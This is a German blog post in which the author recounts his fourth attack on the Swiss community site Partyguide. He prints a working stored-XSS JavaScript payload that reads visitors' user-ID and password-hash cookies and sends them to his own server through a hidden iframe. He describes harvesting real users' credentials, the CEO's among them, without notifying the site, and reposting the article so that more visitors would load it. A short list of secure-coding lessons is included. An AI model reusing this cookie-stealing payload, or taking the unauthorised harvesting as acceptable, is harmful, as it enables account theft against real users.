Wie bereits in meinem gestrigen Artikel Partyguide Strikes Back angetönt habe ich eine weitere (äusserst peinliche) Schwachstelle auf der Community-Web-Site mit der „schweizweit längsten Verweildauer“ gefunden.
Obwohl Partyguide auch dieses Mal seinen Benutzern nichts über die Sicherheitslücke und die mögliche Kompromittierung ihrer Passwörter erzählt hat (bisher jedenfalls), äusserte man indirekt Kenntnis über die Attacke, als man meine Passwort-Datenbank mit einer DDoS-ähnlichen Attacke zuspammen wollte. Das ist natürlich auch eine Art, auf solche Hacks zu reagieren – und eine sehr professionelle dazu:
Deshalb entschieden wir uns, dein Skript ein paar Tausend mal mit gefakten Daten aufzurufen. […] Ob die ganze Aktion erfolgreich verlaufen ist, können wir natürlich nicht sagen.
Quelle: Kommentar von Oli (seines Zeichen Partyguide-Partisan und einer der Argonauten)
Zwei Hinweise von meiner Seite – den Rest kann man sich selber zusammenreimen:
- Ich verwende INSERT IGNORE in meinem MySQL-Query. Primary Key ist die Benutzer-ID.
- Meine MySQL-Datenbanken werden jede Nacht mit mysqlhotcopy gebackupt.
Bloatware
Als diesmalige Schwachstelle empfahl sich die kürzlich eingeführte Blog-Funktion (Ein einig Volk von Bloggern (Partyguide 1, eBay 1) und Partyguide und seine Blogs).
Mit dem „Wir-auch“-Ansatz hat man sich aber ein Ei gelegt. Die Parallelen zu Microsoft erstaunen den Kenner kaum: Deren Produkte zeichnen sich als Bloatware aus – bei jedem neuen Release stehen unzählige neue Funktionen im Vordergrund, der Qualitätssicherung und Sicherheit zollt man – wenn überhaupt – nur beiläufig Respekt.
Microsoft hat mit dem Wurm-Debakeln ab 2001 ernsthafte Konsequenzen aus diesem fragwürdigen Verhalten gezogen; Service Pack 2 für Windows XP war das markanteste Anzeichen für den eingetretenen Sinneswandel. Seit diesem glorreichen Tag heisst es auch in Redmond: Security first. Wann folgt auch Partyguide endlich diesem Motto?
Partyguide war sich für diesen Schritt bisher aber zu Schade. Dabei haben den Betreibern über 200’000 Benutzer persönliche Angaben wie Vornamen, Nachnamen, Adresse, Geburtsdatum, Telefonnummer, E-Mail-Adresse anvertraut …
Man verfolgt bei der Bekämpfung von Sicherheitslücken den erfolgsversprechenden Ansatz, potentielle Hacker mundtot zu machen. Anstelle das man die Probleme ein für allemal beseitigt (mein Vorschlag: Code-Audit – aber nicht durch die längst disqualifizierten stümperhaften Programmierer, sondern durch Profis), köpft man lieber den Überbringer der schlechten Nachricht.
Funktionsweise des Exploits
Die Leser werden sich nun fragen, wie dieser vierte Hack (Nummer drei war bisher der spektakulärste – sowohl im Umfang wie auch bezüglich Peinlichkeit) zu stande kam …
Nach den erstaunlichen Cookie-Tricklein, auf die mich ein anonymer Tippgeber aufmerksam machte, kam die XSS-Attacke (ohne Exploit) von Dritten, um danach mir erneut die Chance zu geben, mittels SQL-Injection die Datenbank auf im Klartext gespeicherte Passwörter „abzugrasen“.
Nummer Vier wiederum kam durch einen Initialhinweis durch Dritte zu Stande – dieses Mal handelt es sich um eine ganz klassische eine JavaScript-Injection. Alte Schule, nichts bahnbrechends Neues, seit Jahren bekannt. Wohl nur nicht auf der Argo (paradox: Argo bedeutet auf Griechisch „die Schnelle“) …
Ziel des Angriffs war die bereits erwähnte Blog-Funktion. Diese wurde eingeführt, weil ein findiger Kopf auf dem Schiffchen die glänzende Idee gehabt hatte, auf den momentanen Blog-Hype aufzuspringen.
Ganz nebenbei: Ehrlich gesagt würde ich lieber ein Corporate Blog begrüssen – Titel „Jason und die Party-Argonauten“, in dem wir offizielle Statements zu aktuellen Problemen/Neuerungen nachlesen können. Dauert wohl noch etwas länger.
Und noch einmal nebenbei: Man kann sich überhaupt fragen, ob man dieser Funktion überhaupt den Beinamen „Blog“ geben darf – oder nicht eher: Aufgebohrte Kommentarfunktion? Egal. Der registrierte User kann also der ganzen Welt mitteilen, was Belangloses gerade in seinem Leben abläuft. Und das natürlich nicht nur in Form von Plain-Text, sondern auch mit Textauszeichnunge (Schriften, Farben, Textgrössen, Textauszeichnugne) – realisiert durch HTML-Code. Spätestens hier sollten die Alarmglocken eines sicherheitsbewussten Entwicklers schrillen.
Nun war es so, dass man sich für einen WYSIWYG-HTML-Editor entschied. Die Wahl der Entwickler fiel auf FCKeditor, den ich selbst in einigen Web-Projekten auch einsetze. Daran ist nichts auszusetzen. Was ich erst später entdeckte: Lustigerweise wird aber dieser Editor in Safari, meinem Browser der Wahl, nicht geladen (FCKeditor wäre eigentlich Safari-kompatibel). Ich konnte Artikel also in Plain-Text eingeben, war mir diesem Unterscheid gegenüber den anderen Usern vorerst aber nicht bewusst.
Der Hinweis, der den Ansatz für diesen Exploit lieferte, wurde mir durch einen anonymen Tippgeber zugestellt. Die Person hatte entdeckt, dass man in das Titelfeld JavaScript-Befehle eingeben konnte, die nicht ausgefiltert wurden (bspw. mit der netten PHP-Funktion htmlentities()). Mein Ehrgeiz war auf alle Fälle geweckt.
Nach einer kurzen Überprüfung des Sachverhaltes begann ich, den JavaScript-Exploit zu coden. Ziel: Durch den zweiten Hack angeregt die Cookie-Daten des Lesers des Blogs auszulesen und diese an ein Script auf einem meiner Server weiterzuleiten.
Die Limitation der Zeichen im Titelfeld war sehr mühsam und ich brachte den gewünschten Code nicht im verfügbaren Platz unter. Ich wollte bereits aufgeben, als ich als letzter, verzweifelter Versuch den Code in die textarea, das eigentliche Feld für den Inhalt des Artikels, eingab. Ich konnte mir zu diesem Zeitpunkt überhaupt nicht vorstellen, dass jemand so blöd wäre, JavaScript-Befehle in diesem Feld ungefiltert entgegenzunehmen, in der DB abzuspeichern und danach wieder ohne Behandlung kritischer HTML-Befehle auszugeben. Denkste!
Folgender Code wurde ohne zu murren gefressen:
<script>
d=document;c=d.cookie;
exp=/c_id=([0-9]{1,6})/;id=exp.exec(c);
exp=/c_psw=([a-zA-Z0-9]{32})/;pw=exp.exec(c);
if(id[1] && pw[1]) {
d.write('<iframe width=\'0\' height=\'0\' src=\'http://p.mad4you.homeip.net/b.gif?i='+id[1]+'&p='+pw[1]+'\'></iframe>');
}
</script>
und füllte fortan meine Datenbank.
Soweit ich es erkennen kann, übernimmt eine Funktion des FCKeditors das Ausfiltern unerlaubter Tags. Da diese Applikation aber Client-seitig läuft, ist es lächerlich, sich ausschliesslich darauf zu verlassen! Man tat es – wohl aus einer Kurzschlussreaktion heraus – trotzdem.
Schade nur, dass die Frequenz der Übermittlungen deutlich abnahm, sobald mein Artikel auf Grund der Veröffentlichungszeit die Titelseite verliess. Ich griff zu dem umständlichen Trick, den Artikel von Zeit zu Zeit neu zu speichern, denn dann wurde das Veröffentlichungsdatum automatisch angepasst und der Artikel fand wieder den Weg auf die Titelseite.
Die Zielpersonen für diesen Angriff waren zweifach eingeschränkt: Einerseits mussten die Personen die Autologin-Funktion aktiviert haben, denn sonst wird keine User-ID und der Passwort-MD5-Hash (die Verwendung eines Hashes wurde durch mich angeregt – vorher Plain-Text) im Cookie gespeichert. Andererseits mussten die Personen auch aktiv die Blog-Seite ansurfen. Alles in allem ein sehr unergiebiger Prozess – aber dennoch spassig (halt, nein, es handelt sich um eine sehr ernste Sache, mögen PG-Jünger rufen – Gegenfrage: Wenn es so ernst ist, wieso sind die „ernsten“ Daten so lächerlich gesichert?!).
Findings
Nicht, dass diese Regeln neu wären, doch bei den Partyguide-Entwicklern ist die Meldung wohl noch nicht bis zum Grosshirn durchgekommen:
- Traue nie GPC-Daten! (GPC = GET/POST/Cookie)
- Validiere Eingaben niemals Client-seitig, sondern auf dem Server
- Teste Scripts
- Teste Scripts nicht mit denjenigen Daten, die du als Programmierer erwartest
- Teste Web-Sites auf den wichtigsten Browsern (MSIE, Mozilla/Firefox, Opera, Safari/KHTML)
Evil
Bin ich nun ein Böser, weil ich a) aktiv oder durch Hinweise nach Exploits suche und b) dann auch hinterhältig Passwort-Daten sammle? Und all dies, ohne Partyguide innert Minuten nach der Entdeckung der Sicherheit benachrichtige? Oli findet es:
Jedoch mussten wir wieder einmal mehr feststellen, mit welchen bösartigen Absichten du pg gegenüber stehst. […] Im letzten Monat bist Du aber definitiv zu weit gegangen. Deine Böswilligkeit kommt immer mehr zum Vorschein.
May I introduce: The Antichrist himself! Von Nostradamus seit Jahrhunderten vorausgesagt, nun endlich wandelt er im Körper von Mario Aeby auf Gottes Erde …
Kollege Burgdorfer amüsierte sich ab dieser Aussage: Wenn das Böse sei, was ich bisher gemacht hätte, hat Oli ein komisches Verständnis von Bösheiten …
Spass bei Seite: Sicherlich ist mein Vorgehen nicht dasjenige eines professionellen Security-Experten. Aber für mich waren die letzten zwei Hacks eben auch ein Test, der aufzeigen sollte, ob die Betreiber der Community-Site ihre Applikation entsprechend aufmerksam überwachen. Beim letzten Hack dauerte die Reaktionszeit satte 7 Tage, obwohl eine Betrachtung der Log-Daten schon am ersten Tag meiner Attacke auffällige Angaben enthielt.
Der vierte Hack wurde nur entdeckt, weil Partyguide von einem Dritten darauf aufmerksam gemacht wurde. Man stelle sich vor, ich hätte bis in den Herbst hinein weiter auf Partyguide „gebloggt“ …
Auch der CEO tappt in die Falle
Ist er nicht süss: Schon am zweiten Tag meiner Sammelaktion fand sich in der Datenbank einen Eintrag mit der Benutzer-ID ‚1‘ …
